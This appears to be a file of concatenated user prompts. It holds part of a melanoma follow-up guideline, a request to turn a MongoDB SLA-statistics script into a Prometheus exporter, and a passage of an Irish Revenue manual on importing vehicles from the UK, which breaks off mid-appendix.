(ie. declined or patient unfit)\nUltrasonography for initial staging\nFor situations where SLNB has been declined or is not possible for technical reasons or patient co-morbidities, ultrasound monitoring may be considered, however 4 studies have shown poorer accuracy (both sensitivity and specificity) compared to SLNB[27][28][29][30], and so the latter is preferred whenever feasible (see chapter on SNLB). No studies were identified in patients who were not eligible for SLNB.\n\nIn three of the studies assessing ultrasonography against a reference standard of SNLB, the sensitivity of ultrasound ranged from 13% to 71%; the specificity from 57% to 97%[27][28][29]; and in two studies the positive predictive value ranged from 37% to 97%, while the negative predictive value ranged from 13% to 84%.[27][29] In one study that assessed a particular ultrasound characteristic (the echo free island) the sensitivity was 11%, the specificity 98%, the positive predictive value was 50% and the negative predictive value was 80%.[30]\n\nOne small study compared high resolution ultrasound (HRUSS) with PET/CT against a reference standard of SNB in 20 patients with clinically stage I/II disease.[16] HRUSS correctly identified two of 12 patients with positive SLNs whereas PET/CT imaging identified none; both imaging tests correctly identified all 12 patients with negative SLNs.[16]\n\nUltrasonography during follow-up\nThe usefulness of ultrasonography for follow-up of patients treated for Stage I/II melanoma depends entirely on the technical skill and experience of the personnel involved. There is a consensus of opinion that ultrasound is superior to clinical examination of regional lymph nodes, although its survival advantage is unproven.[31] A prospective cohort study of 373 patients with a primary tumour Breslow thickness of ≥1.5mm[32], reported a sensitivity of 93% for ultrasound compared with only 71% for the clinical examination of regional lymph nodes. Their specificity was equally high for both procedures (>98%). Despite the superiority of ultrasound, very few patients actually benefited from the addition of ultrasound to clinical examination. The reasons cited for this were that although ultrasound was useful in the earlier detection of regional disease or avoidance of unnecessary surgery in 7% of patients, 6% had deleterious effects such as unnecessary stress caused by repetition of ultrasounds for benign lymph nodes or useless removal of benign lymph nodes.[32] Thus in sum, in only 1% of patients was the use of ultrasound advantageous.\n\nUltrasound +/- Fine needle aspiration (FNA) +/- core biopsy for initial staging\nOne prospective study assessed whether the combination of ultrasound and fine needle biopsy could be used as a ‘triage’ test for SLNB in 107 asymptomatic patients with clinically stage I/II melanoma.[33] Using this test strategy, only two patients had final positive results, of which one could not be confirmed on histopathology (possible false positive) and the other was confirmed (true positive). Of the 105 patients who were negative on ultrasound +FNA, 36 were false negatives (nodal metastases found on SLNB), and 69 were true negatives.\n\nUltrasound +/- Fine needle aspiration (FNA) +/- core biopsy during follow-up\nFNA is the current standard method to confirm the presence of suspected nodal metastases for lymphadenopathy identified after definitive local treatment of cutaneous melanoma.[34][35] Ultrasound guidance should be used as the diagnostic yield is superior, particularly for small lymph nodes <10mm in size. Core biopsy has higher sensitivity and specificity compared with FNA and should be considered where FNA is negative but clinical suspicion remains high. There is no role for routine lymph node biopsy during follow up of asymptomatic patients.[36]\n\nOther investigations during follow-up\nSkin Self-Examination\nA review of 9 clinical practice guidelines by Marciano et al (2014)[37] reveals consensus that patients should be taught skin self-examination; this was based on retrospective evidence from several studies that recurrences were commonly first detected by patients. For this recommendation, 4 guidelines varied in evidence content while 5 guidelines provided consensus opinion only. Education on sun-smart behaviour was recommended by 4 guidelines.[37]\n\nSuccessfully implementing self-examination requires patient education on whole-body skin examination with particular attention given to melanoma surgical scars and the corresponding lymphatic drainage areas for in-transit and lymph node recurrence. Patients should also be given education regarding symptoms that may warrant further investigation, such as pain, fatigue, weight loss, nausea and vomiting, dyspneoa, and headache. In addition, the use of brochures or videos, and the engagement of relatives in the education process may be helpful.[38][39][40] Randomized controlled trials do not exist. In Australia, patients themselves detect up to 75% of recurrences, while in other countries this can be as low as 20%.9-13 These data highlight the fact that even with education, there are great differences in patients’ individual ability to detect recurrences.[40]\n\nHistory and physical examination during follow-up\nThere is general consensus that the most cost-effective component of a strategy resulting in the detection of the majority of recurrences is careful history taking and physical examination. The detection of distant metastases in patients with early localised disease is unusual.\n\nAs with self-examination, history and physical examination include specific history taking, a full skin examination looking for new primaries, palpation of melanoma surgical scars, and lymphatic drainage areas for in-transit and lymph node recurrence. Apart from patient self-detected relapses, most relapses and secondary melanomas are detected during physical examinations.[41][42] In a large prospective study12, roughly 50 % of recurrences were identified by history taking/physical examination, 80 % of which were local recurrences, in-transit metastases, and regional lymph node metastases.[41] Indeed, the vast majority of operable recurrences (96%) are those detected by physical examinations.14 In summary, history and physical examinations for patients with stages I–III melanoma are the most effective procedure for early recurrence detection.[43][8]' +'I have a JS script that outputs human readable statistics about the health of some orgs:\n\n var resellers = db.reseller.aggregate([\n { $match : {$or : [\n { $and : [ {"trialRecord" : {$exists : false}}, {"approved" : true} ] },\n { $and : [ {"trialRecord" : {$exists : true}}, {"trialRecord.state" :"converted"}, {"approved" : true} ] },\n { $and : [\n {"trialRecord" : {$exists : true}}, {"trialRecord.state" :"active"}, {"approved" : true},\n { $or : [ {$and : [{"trialRecord.expirationDate" : {$exists : true}}, {"trialRecord.expirationDate" : {$gte : (new ISODate())}}]}, {"trialRecord.expirationDate" : {$exists : false} }] }\n ]}\n\n ]}},\n {\n $group: { \\_id: "$\\_id"}\n }\n ]).map(function(r) { return r.\\_id; });\nvar activeOrgs = db.organization.aggregate([\n { $match : {$or : [\n { $and : [ {"reseller" : {$exists : false}}] },\n { $and :[{ "reseller.$id" : {$in : resellers} } ]}\n ]}},\n {$match : { "providers.0" : {$exists : true}}},\n {\n $addFields: {\n totalActiveProviders:\n {\n $size: { $filter: {\n input : "$providers",\n as: "p",\n cond : { $and :[ {$eq : ["$$p.disabled", false ]}, {$eq : ["$$p.inTrial", false]}, {$eq : ["$$p.approved", true]} ]} } }\n\n }\n }\n },\n { $match : { "totalActiveProviders" : { $gte : 1} } },\n { $group: { \\_id: "$\\_id"} }\n ]).map(function(r) { return r.\\_id; });\nvar orgContainers = db.container2.aggregate([\n {$match : {$and: [\n {"organizationId": { $in :activeOrgs}},\n {"selected": true},\n {"connectorEnabled": true},\n {"providerEnabled": true},\n {"status" : "ACTIVE"},\n {"initialScanDone" : true},\n {"lastScanCompleted" : {$exists: true}},\n {"containerId.connectorId": {$in: ["gsites","gcontacts","gcalendar","gmail","gdrive","gshareddrives","office365contacts","office365mail","office365calendar","office365sharepoint20","office365onedrive20","office365archive"]}}\n ]}\n },\n {$match : {$or: [\n {"slaMet" : { $not: {$eq: true}}},\n {"lastScanCompleted" : { $not: {$gte: (new Date().getTime() - 1000 \\* 3600 \\* 24)}}},\n ]}\n },\n {$group: {\\_id: "$organizationId", total: {$sum: 1} }\n },\n { $sort: { total:-1}}\n]);\n\nvar sum = 0;\norgContainers.forEach(function(doc) {\n print(doc.\\_id + " " + doc.total);\n sum= sum + doc.total;\n});\nprint("TOTAL SLA FAILED: " + sum); \n\nit outputs stuff like\n\nMongoDB shell version v4.4.12\nconnecting to: mongodb://127.0.0.1:27017/cloudfinder?compressors=disabled&gssapiServiceName=mongodb\nImplicit session: session { "id" : UUID("2bef6f94-4c05-4284-9e27-9e04d67305ec") }\nMongoDB server version: 4.4.12\nintapp 10042\nadtechsystems 7956\nqubiqa 2861\nklarna 343\nsandlandpackaging 71\npmtank 53\npeabodyarnold 38\nnoterman 23\nmbkemp 17\nnanomagic 16\nbygg 14\nnfrnet 14\nbaptisthealthsysteminc 12\nnutritech 11\nnishna 10\nthelawofficesofdanielkim 10\nitformule 9\nmkmdistributionservices 9\nmillerzeiderman 9\nsmithandbrink 8\nhaleyolsonpc 8\nitconsecltd 8\nmiraclefeet 8\nlchvandendriestrb 8\nculinaryschooloffortworth 7\nadvisornetfreedomfinancial 7\njnbafinancialadvisors 7\nstjosephtheworker 7\ndsflooring 7\nsujajuice 7\neykt 7\npalatineruralfiredepartment 7\ntimemanagementsystems 7\nassetbasedlending 6\ndioceseofmonterey 6\npcc 6\nsoknlogmannsstofaehf 6\nmontereybaycommunitypower 6\nalares.es 6\npri 6\nfringebenefit 6\nperformanceconnectivityinc 6\nspecialistconservatoryroofsystems 6\nfostar 6\nncchild 5\ndpp 5\navalonenterprise.com 5\ncuraterrae 5\nnorthweldcountywaterdistrict 5\ngreatersiouxfallschamber 5\numhs 5\ntrianglewarehouse 5\nhvankeppel 5\nwesternleisureservices 4\npipepiling 4\nremaxintegrity 4\nredrockpartnership 4\nalexprod 4\nymcalcan 4\nagingcareadvocates 4\nmontereysalinastransit 4\nparticipantmedia 4\nyouthbuild 3\ncadigal 3\nhovlandrasmus 3\ndyminsteelwest 3\niib 3\nbriarwoodpresbyterianchurch 3\ncapitalletters 3\ncrabelcapitalmanagement 3\nnovocustomltdnfr 3\nppoconnorltd 3\nhirstapplegate 3\npropercontent 3\ncompletestructural 3\nbigsurlandtrust 3\nneurologiceurope 3\nakkonsultcom 3\ndesmondahern 3\nnotredamehighschool 3\nsabrestrategies 3\nflagzonellc 3\nlynchcarpenterllp 3\nscullytwiss 3\nbulleyscharteredsurveyors 3\nmckenzies 3\nefolder 3\nonepennsylvania 3\nnorthrockpartners 3\nweisgroup 3\nleacockpaving 3\nalignjv 3\nmg2group 3\nspecialtours 2\nmmh 2\nrecyclingsolutions 2\nmissionfirst 2\ninclinemanagementlp 2\nnjscreenprints 2\nprattfeedersks 2\ndjassociates 2\nnuura 2\nitcosolutions 2\nhannahs 2\nsupermesafuelmercllc 2\nnordoffrobbins 2\npattersonlawfirm 2\nmilesbetterheatinglimited 2\ninvisikcorporation 2\nrotthegewassermann 2\nbostonmeridian 2\nmeshedtechnology 2\nhandpickedhotels 2\ncommunityfoundationofnortherncolorado 2\nurbanhomeworks 2\nsatterleypropertygroup 2\nconnectingpoint119598 2\nbtmegroup 2\naccidentrepairmanagementarm 2\ndaviddrewtransportation 2\nhardwickandsons 2\nestesvalleyfireprotectiondistrict 2\nwiandlaw 2\ntritoncomm 2\nipgl 2\nhartness 1\ncytrellis 1\nsouthernnewenglandcovnerenceucc 1\nminerals260 1\nbitsmartitinternal 1\ncityofpetaluma 1\nturnerservices 1\nstratiis 1\nfranciscoandassociates 1\nleveywagleyputmaneccherpa 1\nwinchestermotorgroup 1\ndsgp 1\nthetnsgroup 1\npactone 1\ngreenacrerecycling 1\nfirselross 1\nfisherbrothersexteriors 1\nvertechitservices 1\nintivix 1\nxitechnologiesinc 1\nthomaslavininc 1\nmetalsolutions 1\nhighpoint 1\nptservicesgroupinc 1\nperfectstaysltd 1\nbosmachine 1\ncroudacedietrichpc 1\nelecsisltd 1\njmg 1\nmodini 1\neurocepthomecare 1\nstaffmore 1\nzuken 1\npinsonvalleyheattreating 1\nairatlanta984313 1\nlerospointtopoint 1\ncoopgrain 1\nbfa 1\nliontown 1\nadvisornetalignedwealthplanning 1\ngreengageagritechltd 1\nmetalsx 1\nsightcenter 1\nthomson 1\nmechanicalsystems 1\neos 1\nsecufogo 1\nnewlifebible 1\namericanbanktrust 1\nunitedwayofweldcounty 1\nfloorcleaningmachines 1\naquilatruckcentre 1\nlaramiepeakmotors 1\nanthonyandpartners 1\necssynergysa 1\nkaupthing 1\nwarrenpartners 1\nmagicbreakfast 1\nwestteksolutionsltdnfr 1\njohnrwhite 1\nmmachelassociatesltd 1\nadvisornetderuyterbell 1\nbarwonneurology 1\ncarmelvalleymanor 1\nnppc 1\nbritanniabureau 1\nbrowninsurance 1\nhahnfeld 1\nzenorkuehnerplc 1\ntheinstituteforstatecraft 1\neurov 1\ninstallamerica 1\nfirstbank 1\nsoundfinancialmanagement 1\nnewhorizonyouthcentre 1\norigohf 1\nepiscopaldioceseofalabama 1\nmanchesterfluid 1\namericanantiquariansociety 1\napi 1\nsurelinecommunicationsltdnfr 1\nredwoodcomsg 1\nsyscoenvironmental 1\nhooten 1\nszyofficetest 1\naivafertiliser 1\noatc 1\npinnacleengineering 1\njfgroup 1\napeironpartners 1\nbtpnfr 1\nmultiorg 1\nkbselectrical 1\nmooreinsight 1\nagritrails 1\ngreenhousefunds 1\nriccolo 1\nsalem 1\nwhitebirdcliniconmicrosoft 1\nbeautifulsavior 1\ncalhackeman 1\nfallstekhoylaw 1\nbpc 1\ngalante 1\nfuseboxone 1\ntecsec 1\nappsdemo 1\ntikvahfund 1\ntellingrainscreens 1\nelderconstruction 1\npokyfeeders 1\nthecoloradogroup 1\nsolidariteit 1\nbrixandco 1\nsagittariusip 1\nquestemployment 1\naltreedevelopments 1\n2mautomation 1\ncommunityfoundation 1\nkeytexenergyllc 1\nleapmanagedit 1\ncoudfinder 1\neberlysystems 1\nstansinc 1\nomscoltd 1\nbarrassoexcavation 1\ngreenbeetech 1\nshowplacewoodproducts 1\noutofhomemedia 1\ninvestdetroit 1\nlogicwingcom 1\nempirehomewares 1\ngrefesidney 1\nlegrossolicitors 1\ndiraymediainc 1\nbluestem 1\ninterpetltd 1\nmindroom 1\nmvegroup 1\nredriverchildrensadvocacycenter 1\nbeacheslogistics 1\nTOTAL SLA FAILED: 22066\nbye\n\nI want to turn this into a lightweight prometheus exporter that provides those same statistics for prometheus to scrape' +'Can you read this text and produce a flowchart for me? Tax and Duty Manual Importation of Motor Vehicles from the UK\nThe information in this document is provided as a guide only\nand is not professional advice, including legal advice. It should\nnot be assumed that the guidance is comprehensive or that it\nprovides a definitive answer in every case.\n1\nImportation of Motor Vehicles from the UK\nDocument last updated December 2022\nEnquiries concerning this manual:\nimportpolicy@revenue.ie\nTel: + 353 1 738 3676\nTax and Duty Manual Importation of Motor Vehicles from the UK\n2\nTable of Contents\n1 Introduction ......................................................................................................3\n2 Pre-requirements to make a Customs Import Declaration ...............................3\n3 Customs Import Declaration Submission ..........................................................5\n4 Combined Nomenclature Code.........................................................................5\n5 Vehicle Identification Number ..........................................................................6\n6 Transfer of Residence........................................................................................6\n7 UK Origin Vehicles.............................................................................................7\n7.1 Where the Vehicle is UK Origin ......................................................................7\n8 Returned Goods Relief ......................................................................................7\n9 Postponed Accounting for VAT .........................................................................8\n10 Importing a Vehicle from Northern Ireland ......................................................8\n11 Payment ............................................................................................................9\n12 Examples of the Calculation of Customs Duty and VAT on Import ...................9\nAppendix 1: Vehicle Import Scenarios ........................................................................11\nAppendix 2: AIS UCC Trader Portal Codes...................................................................14\nAppendix 3: Importing Vehicles from Northern Ireland..............................................19\nTax and Duty Manual Importation of Motor Vehicles from the UK\n3\n1 Introduction\nFrom the end of the transition period of the withdrawal of the United Kingdom (UK)\nfrom the European Union (EU) on 31 December 2020, the importation of a motor\nvehicle from the UK (excluding Northern Ireland (NI)) is treated as an import from a\nthird country, i.e. a non - EU Member State. If such a vehicle is imported from the\nUK (including via NI), the importer is required to complete a Customs import\ndeclaration, pay Customs Duty, if applicable and Value Added Tax (VAT) on import,\nprior to presenting the vehicle for registration. Vehicle Registration Tax (VRT) is\npayable at registration, with the VRT calculation and collection being completed by\nthe NCT centres.\nVehicles purchased from NI, that were in NI prior to 1 January 2021, are treated as\nEU goods and no customs formalities are required and VAT on import and customs\nduty are not applicable. However, where vehicles from Great Britain (GB) are moved\nto the EU, through NI, after 31 December 2020, including those re-registered to an\nNI owner, then customs formalities and VAT on import may apply.\nFull information on the requirements for importing second-hand vehicles is available\non the Revenue website here.\nAn overview of vehicle import scenarios is outlined in Appendix 1.\n2 Pre-requirements to make a Customs Import Declaration\nIf a vehicle is imported from the UK, then a customs declaration is required. This is\nusually completed by a customs agent on behalf of the importer. However, an\nindividual can also complete the declaration using the declaration portal in\nRevenue’s import system, AIS.\nTo complete a customs import declaration an individual must:\n\uf0b7 Be registered for Revenue Online Service (ROS)\n\uf0b7 Be registered for Customs & Excise\n\uf0b7 Have an EORI number\nIf not already registered for ROS, for example if you are a PAYE employee, then a\nregistration request can be submitted through MyEnquiries. Please include your PPS\nnumber and brief note on the reason for the request. This can be submitted through\nthe following path:\n1) Sign into MyEnquiries\n2) Select \'Add new Enquiry\'\n3) In the \'My Enquiry relates to\' section, enter \'Customs\':\nTax and Duty Manual Importation of Motor Vehicles from the UK\n4\n4) In the \'More Specifically\' section, enter \'eCustoms - Systems Query\' for\nenquiries relating to AEP (Import & Export Declarations), EORI, EMS, NCTS,\nICS and CD.\nIf it is not possible to register for MyEnquiries then the request can be sent by e-mail\nto ecustoms@revenue.ie\nOn receipt, eCustoms will register the applicant for C&E and complete an EORI\nregistration which will enable the import of the motor vehicle.\nOnce registration is confirmed by eCustoms, the next step is to register for ROS on\nwww.revenue.ie . Registration for ROS will provide access to the AIS trader portal\nand allow submission of an import declaration.\nIf importing a new vehicle into the State, the following information must be attached\nto the import declaration:\n\uf0b7 A valid Certificate of Conformity (CoC) that confirms EU type approval. Please\nnote that the type approval number on the CoC must correspond to an EU\nMember State.\nor\n\uf0b7 An Individual Approval or Small Series Approval Certificate issued by the\nNational Standards Authority of Ireland (NSAI).\nTax and Duty Manual Importation of Motor Vehicles from the UK\n5\n3 Customs Import Declaration Submission\nThe type of declaration required is a “H1” import declaration\nStep 1:\nLog into ROS (guidance here)\nStep 2:\nSelect the ‘Customs UCC Portal’ under the My Services tab – Other Services\nFigure 1: ROS Customs UCC Portal\nStep 3:\nFollow the guidance on inputting a H1 customs declaration in the Customs UCC\nPortal here.\n4 Combined Nomenclature Code\nCombined Nomenclature (CN) codes are set out in TARIC. Vehicles are classified for\ncustoms purposes under goods code: 8700000000. This will be further broken down\nby the vehicle type (i.e. motor vehicle – 8703) and then the specifics of the particular\nvehicle.\nThe CN code is entered at Data Element (DE) 6/15 (Commodity Code – TARIC Code)\non the customs import declaration.\nTax and Duty Manual Importation of Motor Vehicles from the UK\n6\nThe most common vehicle is:\n870321 - Motor cars and other motor vehicles principally designed for the transport\nof <10 persons, incl. station wagons and racing cars, with only spark-ignition internal\ncombustion reciprocating piston engine of a cylinder capacity <= 1.000 cm³ (excl.\nvehicles for travelling on snow and other specially designed vehicles of subheading\n870310).\nNOTE: there is a different code for new and used vehicles\n\uf0b7 8703211000 – new vehicle\n\uf0b7 8703219000– used vehicle\n5 Vehicle Identification Number\nIMPORTANT:\nThe inclusion of the Vehicle Identification Number (VIN) is critical. From 1 January 2021, to\nenable an imported vehicle to be cleared by the NCT centre, evidence of a customs import\ndeclaration must be provided at the NCT centre. There will also be an electronic interface\nbetween the NCT centre and the Revenue Customs system, therefore the correct VIN must\nbe entered on the customs import declaration.\nProcedure at Import: When completing your customs import declaration, at DE 2/3,\ninsert 1D97 followed by the VIN. It should be noted that 1D97 (VIN) should be\nincluded at Goods Shipment item level.\nNOTE: If the item being imported does not have a VIN, please insert the text\nNOVIN033 after 1D97.\n6 Transfer of Residence\nPersons transferring their residence should include their private vehicles on their\nTransfer of Residence (TOR) declaration form (C&E 1076), which covers the\nimportation of personal items and household goods from outside the EU. There is\nmore information on how to claim TOR relief on the Revenue website. If an importer\nqualifies for TOR relief, no Customs Duty or VAT on import is payable on the\nvehicle(s). If you are personally importing your personal items and household goods\nand you are physically with the goods, then an electronic customs import declaration\nmay not be necessary. For further assistance contact Customs Clearance and Import\nor Export Controls on 01-7383685 or through Revenue MyEnquiries.\nTax and Duty Manual Importation of Motor Vehicles from the UK\n7\n7 UK Origin Vehicles\nFrom 1 January 2021, the EU-UK Trade and Cooperation Agreement (TCA) has\neliminated tariff duties for trade between the EU and Great Britain, where the\nrelevant rules on origin are met. If the goods are of UK origin, then a 0% tariff rate\napplies. However, goods of EU origin that are in use in the UK and that are\nsubsequently imported into Ireland from Great Britain will not be eligible for the 0%\ntariff rate, as they will not qualify as UK origin under the rules of origin.\nFurther information on preferential tariff treatment and details of how to claim it\ncan be found on the Revenue website here.\n7.1 Where the Vehicle is UK Origin\nWhere the vehicle was manufactured in the UK and complies with the origin terms\nas set out in the EU-UK TCA, a preferential tariff rate of 0% may be claimed.\nTo claim preferential origin for UK origin goods for release into free circulation in the\nEU, the following codes are used:\n\uf0b7 AIS Data Element 4/17 (Preference) should contain the code ‘300’.\n\uf0b7 AIS Data Element 5/16 (Country of preferential origin) is ‘GB’.\n\uf0b7 AIS Data Element 2/3 (Documents produced, certificates and authorisations,\nadditional references), one of the following codes should be used:\n- Where the claim for preferential tariff treatment is based on a\n\'statement on origin’ for a single shipment, use code “U116”.\n- Where the claim for preferential tariff treatment is based on\n‘importer’s knowledge’, use code “U117”.\n- Where the claim for preferential tariff treatment is based on a\n\'statement on origin’ for multiple shipments of identical products, use\ncode “U118”.\nA list of codes which may be applicable is available in Appendix 2.\n8 Returned Goods Relief\nReturned Goods Relief may be available, subject to conditions, for vehicles that have\nbeen exported from the Customs territory of the Union. Vehicles can be exported\nfrom the EU to a 3\nrd country and re-imported into the EU without the payment of\nCustoms Duty provided all the required conditions for Returned Goods Relief are\nmet. In very specific circumstances, relief from Value-Added Tax may also apply\nwhere the vehicle is re-imported into the EU by the same person that originally\nexported the goods out of the EU. The conditions are:\nTax and Duty Manual Importation of Motor Vehicles from the UK\n8\n\uf0b7 The vehicle must have been originally exported from the EU\n\uf0b7 Must not have been altered and\n\uf0b7 Must be re-imported within three years of export from the EU.\nFurther information on the relief and details of how to claim it can be found on the\nRevenue website here.\n9 Postponed Accounting for VAT\nPostponed accounting for VAT on import is now available to all VAT registered\ntraders. Revenue may exclude traders who do not fulfil certain conditions and\nrequirements from using this scheme.\nThis scheme:\n\uf0b7 provides for postponed accounting for VAT on imports from non-EU countries\n\uf0b7 enables you to account for import VAT on your VAT return\n\uf0b7 allows you to reclaim VAT at the same time as it is declared in a return. This is\nsubject to normal rules on deductibility.\nMore information on postponed accounting is available here.\n10 Importing a Vehicle from Northern Ireland\nUnder the Protocol on Ireland and Northern Ireland, Northern Ireland will continue\nto apply and adhere to EU rules in relation to trade in goods. The result is that there\nare no Customs formalities, including Customs declarations or payment of tariffs, on\ntrade between Ireland and Northern Ireland.\nHowever, in January 2021, the UK introduced significant changes to the UK VAT\nmargin scheme for used vehicles imported from Great Britain into Northern Ireland.\nThese changes mean that vehicles first registered in Great Britain, and subsequently\nregistered in Northern Ireland after 31 December 2020, will be subject to additional\nrequirements if imported into the State. These additional requirements must be\ncompleted prior to presenting the vehicle for registration at an NCT centre.\nA vehicle brought into Northern Ireland before 1 January 2021, and which has\nremained there since, can be registered in the State with no customs obligations.\nHowever, proof of the vehicle’s status in Northern Ireland prior to 1 January 2021\nwill be required, for example:\n\uf0b7 a ferry ticket showing the date of arrival in NI, and which clearly identifies the\nspecific vehicle\n\uf0b7 a copy of an invoice from a transport company identifying the vehicle and\ndelivery date\nTax and Duty Manual Importation of Motor Vehicles from the UK\n9\n\uf0b7 tax and insurance details indicating use in NI prior to 1 January 2021\nor\n\uf0b7 a copy of the V5C showing the last registered keeper in NI and a date of\nregistration to that keeper prior to 1 January 2021.\nWhere a second-hand vehicle has been imported from Great Britain after 31\nDecember 2020 and the Customs formalities were completed in Northern Ireland,\nthe person wishing to register the vehicle in Ireland should first contact Revenue as\nthere will be a VAT liability to be discharged prior to registering the vehicle for VRT. A\nSupplementary Import Declaration– VAT on Import on Used Vehicles must be made\nto Revenue in respect of any vehicles that qualify for the UK VAT margin scheme.\nIf you do not have proof of a declaration to Customs in Northern Ireland you must\ncomplete a Customs import declaration and pay Customs Duty, if applicable, and\nVAT on the customs value of the vehicle plus the customs duty payable – see\nexamples at para 12 below. This must be done before presenting the vehicle for\nregistration.\nFull details are available in Appendix 3.\n11 Payment\nIf registered for ROS, you must also be registered for Customs & Excise (C&E) and\nhave an Economic Operator Registration Identification (EORI) to make payments for\nC&E. Full guidelines are available here.\n12 Examples of the Calculation of Customs Duty and VAT on\nImport\nCustoms Duty\nCustoms Duty of 10% is applicable to most vehicles imported from the UK, calculated\non the customs value of the vehicle. The custom value consists of the purchase price\nof the vehicle, plus transport and insurance costs and any handling charges.\nVAT\nThe payment of VAT at the standard rate of 23% is applicable to the importation of\nvehicles from GB. In most cases, VAT is not applied to used vehicles purchased in NI.\nHowever, a VAT charge may apply if the car is categorised as a "new means of\ntransport” or was previously registered in GB and moved to NI after 31 December\n2020.\nThe value on which VAT is levied at the point of importation is the customs value of\nthe car, plus customs duty.\nTax and Duty Manual Importation of Motor Vehicles from the UK\n10\nExample 1. Calculation of Customs Duty and VAT payable on a car imported\nfrom GB to Ireland, where no reliefs apply\nPrior to the UK’s exit from the EU, vehicles imported from the UK were not subject\nto customs duty or VAT charges on import to Ireland as the goods were in free\ncirculation in the EU. VRT was payable on the vehicle being presented for\nregistration at a VRT office. However, from 1 January 2021, when the UK left the\nEU, customs duty and VAT are payable, in addition to VRT. The example below\nillustrates the calculation of customs duty and VAT, where no reliefs apply.\nPurchase price of car €32,000 (after conversion from sterling)\nTransport costs €500\nCustoms value of car €32,500\nCustoms duty @ 10% €3,250\nOverall value subject to VAT €35,750\nVAT @ 23% €8,223\nCustoms duty and VAT payable on import is therefore €3,250 and €8,223\nrespectively.\nExample 2. Calculation of Customs Duty and VAT payable on a car imported\nfrom GB to Ireland, where Returned Goods Relief is applicable\nIn this example a car is exported to the UK from another EU Member State (e.g.\nGermany) and re-imported to Ireland after 1 January 2021, within three years of the\ndate of export to the UK. As the car was not re-imported into the EU by the same\nperson that originally exported the goods out of the EU, no relief from VAT applies.\nPurchase price of car €32,000 (after conversion from sterling)\nTransport costs €500\nCustoms value of car €32,500\nCustoms duty @ 0% (Note the car qualifies for Returned Goods Relief)\nOverall value subject to VAT €32,500\nVAT @ 23% €7,475\nRelief from customs duty is applicable, with the VAT payable on import being €7,475.\nTax and Duty Manual Importation of Motor Vehicles from the UK\n11\nAppendix 1: Vehicle Import Scenarios\n1. Vehicles imported directly from Great Britain\nScenario Customs Requirements Proofs Required Comments\nStandard Treatment\nCustoms Import Declaration\nin Ireland (IE) and VAT on\nimport and Customs Duty\npayable.\nDeclaration will include details of VIN\nwhich will be checked at registration by\nNCTS centre.\nUnless the vehicle is proven to be entitled to a claim\nfor preferential origin or Returned Goods Relief,\nvehicles imported from Great Britain (GB) fall into\nthis category.\nPreferential Origin\nCustoms Import Declaration\nin IE and VAT on import\npayable.\nClaim to preferential origin will be subject\nto post-clearance checks. Importer will\nbe responsible for providing proof of\norigin. Proof of declaration will be\nchecked based on VIN.\nVehicle meets the criteria for UK Origin. Note that a\nUK registration is not proof of UK origin. The latter is\ndetermined by place of manufacture and the source\nof materials used. Origin is generally certified by the\nmanufacturer.\nReturned Goods Relief\nCustoms Import Declaration\nin IE and VAT on import\npayable (except in specific\ncircumstances - see\ncomments).\nClaim to Returned Goods Relief will be\nsubject to post-clearance checks.\nImporter will be responsible for providing\nproof including date of original export\nfrom the EU/movement to the UK. Proof\nof declaration will be checked based on\nVIN.\nVehicle must have been (i) exported from the EU to\nthe UK less than 3 years previously or (ii)\npermanently moved to the UK pre- 01/01/21 and\nless than 3 years prior to the date of export to IE -\nand meet the other conditions applying to Returned\nGoods Relief e.g. no alterations to the vehicle.\nWhere the vehicle is reimported by the same\nperson/entity which originally exported it, no VAT on\nimport will be payable.\nTax and Duty Manual Importation of Motor Vehicles from the UK\n12\n2. Vehicles imported directly from Northern Ireland\nScenario Customs Requirements Proofs Required Comments\nVehicle in Northern Ireland\n(NI) pre 01/01/21\nNo Customs Import\nDeclaration required and no\nVAT on import payable.\nProof of import to NI prior to 01/01/21.\nVehicle is in free circulation as a Union good and can\nmove to IE without any Customs obligations or VAT\non import payable. A VAT charge may arise as a\n"new means of transport". If vehicle were exported\nto GB or any other territory outside of the Customs\nUnion and subsequently re-imported to NI, it would\nbe treated as a GB import via NI - see Section 3.\nNew vehicles sold in NI to\ncustomer in IE\nNo declaration required in IE\nand no VAT on import\npayable.\nSales invoice to show NI purchase.\nVehicle is in free circulation as a Union good and can\nmove to IE without any Customs obligations or VAT\non import payable. A VAT charge will arise as a "new\nmeans of transport".\nVehicles where the first\nregistration of the vehicle\nwas in NI and vehicle\nregistered after 31/12/20\nNo declaration required in IE\nand no VAT on import\npayable.\nProof of first registration of the vehicle in\nNI and invoice from NI seller.\nVehicle is in free circulation as a Union good and can\nmove to IE without any Customs obligations or VAT\non import payable. A VAT charge may arise as a\n"new means of transport". If vehicle were exported\nto GB or any other territory outside of the Customs\nUnion and subsequently re-imported to NI, it would\nbe treated as a GB import via NI - see Section 3.\nTax and Duty Manual Importation of Motor Vehicles from the UK\n13\nVehicles which have been\nregistered in GB and which\nwere moved to NI after\n31/12/20 (incl. both those\nre-registered to an NI\naddress/owner and those\nnot re-registered as they are\nbeing held for sale).\nDeclaration in NI or IE and\nCustoms Duty and VAT on\nimport payable, as\napplicable.\nDeclaration will include details of VIN\nwhich will be checked at registration by\nNCTS centre. Claims to either\npreferential origin or Returned Goods\nRelief will be subject to the same proofs\nas set out above.\nInformation in Appendix 3 applies. Vehicles may be\neligible to claim Returned Goods Relief or\npreferential origin - similar to any vehicles imported\ndirect from GB to IE - see Section 1.\n3. Vehicles imported from Great Britain via Northern Ireland\nScenario Customs Requirements Proofs Required Comments\nVehicles imported into NI\nafter 31/12/20\nDeclaration in NI or IE and\nCustoms Duty and VAT on\nimport payable, as\napplicable.\nDeclaration will include details of VIN\nwhich will be checked at registration by\nNCTS centre. Claims to either\npreferential origin or Returned Goods\nRelief will be subject to the same proofs\nas set out above.\nInformation in Appendix 3 applies. Vehicles may be\neligible to claim Returned Goods Relief or\npreferential origin - similar to vehicles imported\ndirect from GB to IE - see Section 1. \nTax and Duty Manual Importation of Motor Vehicles from the UK\n14\nAppendix 2: AIS UCC Trader Portal Codes\nDECLARATION\n1/1 Declaration type - H1\n1/2 “A” if Post lodged or “D” if Pre lodged\n2/5 Pre-Populated\n2/6 \uf0b7 If you have a Guarantee and wish to defer payment of tax and duties enter EORI number\n\uf0b7 If not deferring leave blank\n4/8 If deferring tax and duties select -- E - Deferred or postponed payment or A- CASH\nPARTIES\n3/18 Declarant EORI Number\n3/1 Exporter / Seller name and address. (if they have an EORI then enter in 3/25)\n3/39 Fill in Authorisation Holder Identification no (normally the declarant)\n3/46 Importer EORI number\nVALUATION INFORMATION\n4/10 Invoice Currency\n4/11 Price on invoice\n4/12 Euro\n4/15 Exchange Rate – Automatic calculated\nCUSTOMS OFFICES\nCustoms 